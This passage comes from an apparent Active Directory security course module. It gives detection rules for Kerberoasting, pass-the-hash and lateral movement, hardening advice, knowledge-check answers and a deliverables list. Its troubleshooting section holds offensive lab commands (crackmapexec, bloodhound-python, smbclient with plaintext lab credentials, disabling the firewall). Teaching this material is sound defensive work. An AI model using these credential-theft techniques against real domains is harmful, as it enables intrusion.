**Event ID 4769 (Kerberos Service Ticket Request):**
|
|
|
|
```
|
|
ANOMALOUS INDICATORS:
|
|
- Ticket encryption type: 0x17 (RC4-HMAC) instead of 0x12 (AES256)
|
|
- Ticket options: 0x40810000 (forwardable, renewable, canonicalize)
|
|
- Service name: NOT krbtgt/* (indicates service ticket, not TGT)
|
|
- Frequency: Multiple SPN requests from single source in short time
|
|
|
|
SURICATA RULE:
|
|
alert tcp any any -> any 88 (msg:"Possible Kerberoasting - Multiple TGS-REQ"; \
|
|
flow:established,to_server; content:"|a0 03 02 01 05|"; \
|
|
threshold:type threshold, track by_src, count 5, seconds 60; \
|
|
sid:5000001; rev:1;)
|
|
|
|
SECURITY ONION KQL QUERY:
|
|
event.code: 4769 AND
|
|
winlog.event_data.TicketEncryptionType: "0x17" AND
|
|
NOT winlog.event_data.ServiceName: krbtgt*
|
|
| stats count by winlog.event_data.TargetUserName, source.ip
|
|
| where count > 5
|
|
```
|
|
|
|
### Detection Rules for Pass-the-Hash
|
|
|
|
**Event ID 4624 (Logon) with Type 3 (Network Logon):**
|
|
|
|
```
|
|
SUSPICIOUS INDICATORS:
|
|
- Logon Type: 3 (network)
|
|
- Authentication Package: NTLM (not Kerberos)
|
|
- Elevated Token: Yes
|
|
- Source IP: Not domain controller
|
|
|
|
SPLUNK QUERY:
|
|
index=windows EventCode=4624 Logon_Type=3 Authentication_Package=NTLM Elevated_Token=Yes
|
|
| where Source_Network_Address!="10.10.4.100"
|
|
| stats count by Account_Name, Source_Network_Address
|
|
|
|
SIGMA RULE:
|
|
title: Pass-the-Hash Activity Detected
|
|
status: experimental
|
|
logsource:
|
|
product: windows
|
|
service: security
|
|
detection:
|
|
selection:
|
|
EventID: 4624
|
|
LogonType: 3
|
|
AuthenticationPackageName: 'NTLM'
|
|
condition: selection
|
|
fields:
|
|
- TargetUserName
|
|
- IpAddress
|
|
falsepositives:
|
|
- Legitimate NTLM authentication (rare in modern environments)
|
|
level: high
|
|
```
|
|
|
|
### Detection Rules for Lateral Movement
|
|
|
|
**Event ID 7045 (Service Installation) - PsExec:**
|
|
|
|
```
|
|
INDICATORS:
|
|
- Service name: Contains random characters (e.g., "PSEXESVC")
|
|
- Service file path: \\Windows\\[random].exe
|
|
- Started by: Network logon (Event 4624 Type 3 precedes)
|
|
|
|
KQL QUERY:
|
|
event.code: 7045 AND
|
|
winlog.event_data.ServiceFileName: *\\Windows\\*.exe AND
|
|
NOT winlog.event_data.ServiceName: (known_service_list)
|
|
```
|
|
|
|
**Event ID 4688 (Process Creation) - WMI Execution:**
|
|
|
|
```
|
|
INDICATORS:
|
|
- Parent process: C:\Windows\System32\wbem\WmiPrvSE.exe
|
|
- Child process: Suspicious (cmd.exe, powershell.exe, unusual binaries)
|
|
- Command line: Contains encoded commands or download cradles
|
|
|
|
KQL QUERY:
|
|
event.code: 4688 AND
|
|
process.parent.name: "WmiPrvSE.exe" AND
|
|
process.name: ("cmd.exe" OR "powershell.exe" OR "wscript.exe")
|
|
```
|
|
|
|
### Defensive Hardening Recommendations
|
|
|
|
```powershell
|
|
# DISABLE NTLM AUTHENTICATION (force Kerberos only)
|
|
# Group Policy: Computer Configuration > Windows Settings > Security Settings
|
|
# > Local Policies > Security Options
|
|
# Network security: Restrict NTLM: Incoming NTLM traffic = Deny all accounts
|
|
|
|
# ENABLE LAPS (LOCAL ADMIN PASSWORD SOLUTION)
|
|
# Randomizes local admin passwords on each machine (prevents lateral movement)
|
|
# Download: https://www.microsoft.com/en-us/download/details.aspx?id=46899
|
|
|
|
# IMPLEMENT PROTECTED USERS GROUP
|
|
# Add high-privilege accounts to "Protected Users" group (prevents NTLM auth)
|
|
Add-ADGroupMember -Identity "Protected Users" -Members Administrator,svc_sql
|
|
|
|
# ENABLE CREDENTIAL GUARD (Windows 10/Server 2016+)
|
|
# Protects LSASS from memory dumping attacks
|
|
# Group Policy: Computer Configuration > Administrative Templates
|
|
# > System > Device Guard > Turn On Virtualization Based Security
|
|
|
|
# MONITOR PRIVILEGED GROUP CHANGES
|
|
# Alert on Event ID 4728, 4732, 4756 (user added to security-enabled group)
|
|
|
|
# IMPLEMENT TIERED ADMINISTRATION MODEL
|
|
# Tier 0: Domain Controllers, Domain Admins (separate credentials)
|
|
# Tier 1: Servers (different admin accounts)
|
|
# Tier 2: Workstations (standard users)
|
|
# Prevents compromise cascade
|
|
```
|
|
|
|
---
|
|
|
|
## MITRE ATT&CK FRAMEWORK MAPPING
|
|
|
|
| Technique ID | Technique Name | Lab Coverage |
|
|
|--------------|----------------|--------------|
|
|
| **T1558.003** | Kerberoasting | LAB 5.2 (GetUserSPNs, Hashcat) |
|
|
| **T1550.002** | Pass-the-Hash | LAB 5.3 (Secretsdump, PsExec -hashes) |
|
|
| **T1021.002** | SMB/Windows Admin Shares | LAB 5.4 (PsExec, SMBExec) |
|
|
| **T1021.006** | Windows Remote Management | LAB 5.4 (Evil-WinRM) |
|
|
| **T1047** | Windows Management Instrumentation | LAB 5.4 (WMIExec) |
|
|
| **T1087.002** | Domain Account Discovery | LAB 5.5 (BloodHound enumeration) |
|
|
| **T1069.002** | Domain Groups Discovery | LAB 5.5 (BloodHound group mapping) |
|
|
| **T1482** | Domain Trust Discovery | LAB 5.5 (BloodHound trust analysis) |
|
|
| **T1558.001** | Golden Ticket | LAB 5.6 (Ticketer.py, KRBTGT extraction) |
|
|
| **T1003.001** | LSASS Memory Dump | LAB 5.3 (Secretsdump mimikatz) |
|
|
|
|
**Kill Chain Phase:** Lateral Movement (Stage 4), Privilege Escalation (Stage 3)
|
|
|
|
---
|
|
|
|
## TROUBLESHOOTING GUIDE
|
|
|
|
### Issue: GetUserSPNs fails with "KRB_AP_ERR_SKEW"
|
|
|
|
**Root Cause:** Clock skew between Kali Linux and Domain Controller (Kerberos requires <5 min difference)
|
|
|
|
**Solution:**
|
|
```bash
|
|
# SYNC TIME WITH DOMAIN CONTROLLER
|
|
sudo ntpdate 10.10.4.100
|
|
# Or: sudo timedatectl set-ntp true
|
|
|
|
# VERIFY TIME SYNC
|
|
date
|
|
# Compare to DC time
|
|
```
|
|
|
|
### Issue: Secretsdump returns "STATUS_LOGON_FAILURE"
|
|
|
|
**Root Cause:** Incorrect credentials or account locked
|
|
|
|
**Solution:**
|
|
```bash
|
|
# VERIFY CREDENTIALS WITH CRACKMAPEXEC
|
|
crackmapexec smb 10.10.4.100 -u svc_sql -p Password123 -d apophis.local
|
|
|
|
# CHECK ACCOUNT STATUS ON DOMAIN CONTROLLER
|
|
Get-ADUser -Identity svc_sql | Select-Object Enabled, LockedOut, PasswordExpired
|
|
```
|
|
|
|
### Issue: BloodHound shows no data after import
|
|
|
|
**Root Cause:** JSON files empty or collection failed
|
|
|
|
**Solution:**
|
|
```bash
|
|
# RE-RUN COLLECTION WITH VERBOSE OUTPUT
|
|
bloodhound-python -u jsmith -p Welcome1 -d apophis.local -ns 10.10.4.100 -c All --zip -v
|
|
|
|
# --zip = Creates single ZIP file for easier upload
|
|
# -v = Verbose output for debugging
|
|
|
|
# VERIFY FILE SIZES
|
|
ls -lh *.json
|
|
# Should have KB-MB of data, not 0 bytes
|
|
```
|
|
|
|
### Issue: PsExec hangs at "Requesting shares"
|
|
|
|
**Root Cause:** Firewall blocking SMB (port 445) or ADMIN$ share not accessible
|
|
|
|
**Solution:**
|
|
```bash
|
|
# TEST SMB CONNECTIVITY
|
|
smbclient -L //10.10.4.110 -U Administrator%P@ssw0rd!
|
|
# Should show ADMIN$, C$, IPC$ shares
|
|
|
|
# CHECK WINDOWS FIREWALL ON TARGET (from compromised shell)
|
|
Get-NetFirewallProfile | Select-Object Name, Enabled
|
|
# If enabled, disable for lab: Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
|
|
```
|
|
|
|
---
|
|
|
|
## PROFESSOR'S GUIDANCE
|
|
|
|
### Why Active Directory is the "Crown Jewel"
|
|
|
|
**Statistics from Real Breaches:**
|
|
- 82% of data breaches involve stolen credentials (Verizon DBIR 2023)
|
|
- Average time to crack Kerberoasted password: 6 hours (weak), 2 days (medium)
|
|
- 95% of organizations have at least one SPN with weak password
|
|
- 80% of organizations never rotate KRBTGT password (golden tickets persist indefinitely)
|
|
|
|
**Real-World Attacker Workflow:**
|
|
1. Phishing email → User clicks → Download payload
|
|
2. Payload beacons to C2 server → Attacker gains foothold
|
|
3. Run Mimikatz/SharpHound → Extract credentials, map domain
|
|
4. Kerberoast service accounts → Crack offline → Obtain Domain Admin
|
|
5. Lateral movement → Access file servers, databases → Exfiltrate data
|
|
6. Deploy ransomware → Domain-wide encryption
|
|
|
|
**Defense-in-Depth Strategy:**
|
|
- **Prevent:** Strong passwords (15+ chars), LAPS, Credential Guard
|
|
- **Detect:** Log Event IDs 4768/4769/4624/4688, monitor NTLM usage
|
|
- **Respond:** Isolate compromised accounts, reset KRBTGT (twice), forensic analysis
|
|
|
|
### Common Student Mistakes
|
|
|
|
**1. Using Domain Admin for everything:**
|
|
- In real enterprise, you'd use least-privilege service accounts
|
|
- Lab uses DA for simplicity, but document "in production, use delegated access"
|
|
|
|
**2. Not capturing network traffic:**
|
|
- Run Wireshark during Kerberoasting to see TGS-REQ/TGS-REP exchange
|
|
- Blue team needs to recognize these patterns in PCAP analysis
|
|
|
|
**3. Forgetting to reset KRBTGT after Golden Ticket lab:**
|
|
- Golden tickets persist even if you "fix" everything else
|
|
- Must reset KRBTGT password TWICE (24 hours apart) to fully remediate
|
|
|
|
**4. Over-relying on tools without understanding:**
|
|
- BloodHound is NOT magic—it visualizes AD relationships you could query manually
|
|
- Practice writing custom LDAP queries (ldapsearch, PowerShell Get-ADUser)
|
|
|
|
### Time Investment
|
|
- AD deployment: 2-3 hours
|
|
- Kerberoasting lab: 1-2 hours
|
|
- Pass-the-Hash lab: 1-2 hours
|
|
- Lateral movement: 1-2 hours
|
|
- BloodHound enumeration: 2-3 hours
|
|
- Golden Ticket attack: 1-2 hours
|
|
- Detection rules: 2-3 hours
|
|
|
|
**Total: 10-18 hours**
|
|
|
|
### Real-World Skills Developed
|
|
|
|
By mastering this module, you can:
|
|
- Perform AD penetration testing for Red Team engagements
|
|
- Identify identity-based attack vectors in enterprise environments
|
|
- Implement detection rules for credential theft (SOC analyst role)
|
|
- Architect secure AD environments (prevent Kerberoasting, PtH)
|
|
- Understand attacker tradecraft (MITRE ATT&CK Lateral Movement tactics)
|
|
|
|
---
|
|
|
|
## KNOWLEDGE CHECK
|
|
|
|
Before proceeding to MOD6, you should be able to:
|
|
|
|
1. **What makes an account Kerberoastable?**
|
|
- Answer: Account must have Service Principal Name (SPN) registered
|
|
|
|
2. **Why is Kerberoasting attractive to attackers?**
|
|
- Answer: Offline cracking (no account lockout), any domain user can request tickets, targets weak passwords
|
|
|
|
3. **What is the difference between Pass-the-Hash and Pass-the-Ticket?**
|
|
- Answer: PtH uses NTLM hash for authentication, PtT uses Kerberos ticket (TGT or service ticket)
|
|
|
|
4. **How does PsExec achieve code execution?**
|
|
- Answer: Copies executable to ADMIN$ share, creates Windows service, starts service, returns output via named pipes
|
|
|
|
5. **What is the BloodHound query to find Kerberoastable accounts?**
|
|
- Answer: Analysis > "List all Kerberoastable Accounts" or Cypher: `MATCH (u:User {hasspn: true}) RETURN u`
|
|
|
|
6. **Why are Golden Tickets called "golden"?**
|
|
- Answer: Forged TGT grants access to ANY resource, valid for 10 years, persists after password resets
|
|
|
|
7. **What Windows Event ID indicates Kerberos service ticket request?**
|
|
- Answer: Event ID 4769 (TGS-REQ)
|
|
|
|
8. **How do you fully remediate Golden Ticket attack?**
|
|
- Answer: Reset KRBTGT password TWICE (24 hours apart) to invalidate all forged tickets
|
|
|
|
---
|
|
|
|
## DELIVERABLES CHECKLIST
|
|
|
|
Before proceeding to Module 6, submit/complete:
|
|
|
|
- [ ] Windows Server 2022 Domain Controller configured (apophis.local)
|
|
- [ ] Windows 10 endpoint joined to domain
|
|
- [ ] Service account (svc_sql) with SPN created
|
|
- [ ] Kerberoasting output showing cracked password
|
|
- [ ] Secretsdump output with NTLM hashes extracted
|
|
- [ ] PsExec screenshot showing SYSTEM shell on remote target
|
|
- [ ] CrackMapExec output showing "Pwn3d!" with Pass-the-Hash
|
|
- [ ] BloodHound JSON files and attack path visualization screenshot
|
|
- [ ] Golden Ticket creation and usage demonstration
|
|
- [ ] Screenshots showing:
|
|
- [ ] GetUserSPNs.py enumeration
|
|
- [ ] Hashcat cracking Kerberos ticket
|
|
- [ ] Secretsdump dumping DC hashes
|
|
- [ ] PsExec shell with whoami output
|
|
- [ ] BloodHound shortest path to Domain Admins
|
|
- [ ] CrackMapExec lateral movement to multiple hosts
|
|
- [ ] Event Viewer showing Event ID 4769 (Kerberoasting detection)
|
|
|
|
---
|
|
|
|
**END OF MODULE 5**
|
|
|
|
**Next Steps:**
|
|
1. Take snapshot of all VMs: "Post-MOD5-AD-Compromise"
|
|
2. Document all extracted credentials in password spreadsheet
|
|
3. Practice writing detection rules for each attack technique
|
|
4. Proceed to **MOD6: Incident Response & Digital Forensics**
|
|
|
|
**Remember:** Every credential you steal as Red Team becomes forensic evidence for Blue Team. In MOD6, you'll investigate these attacks from the defender's perspective!
|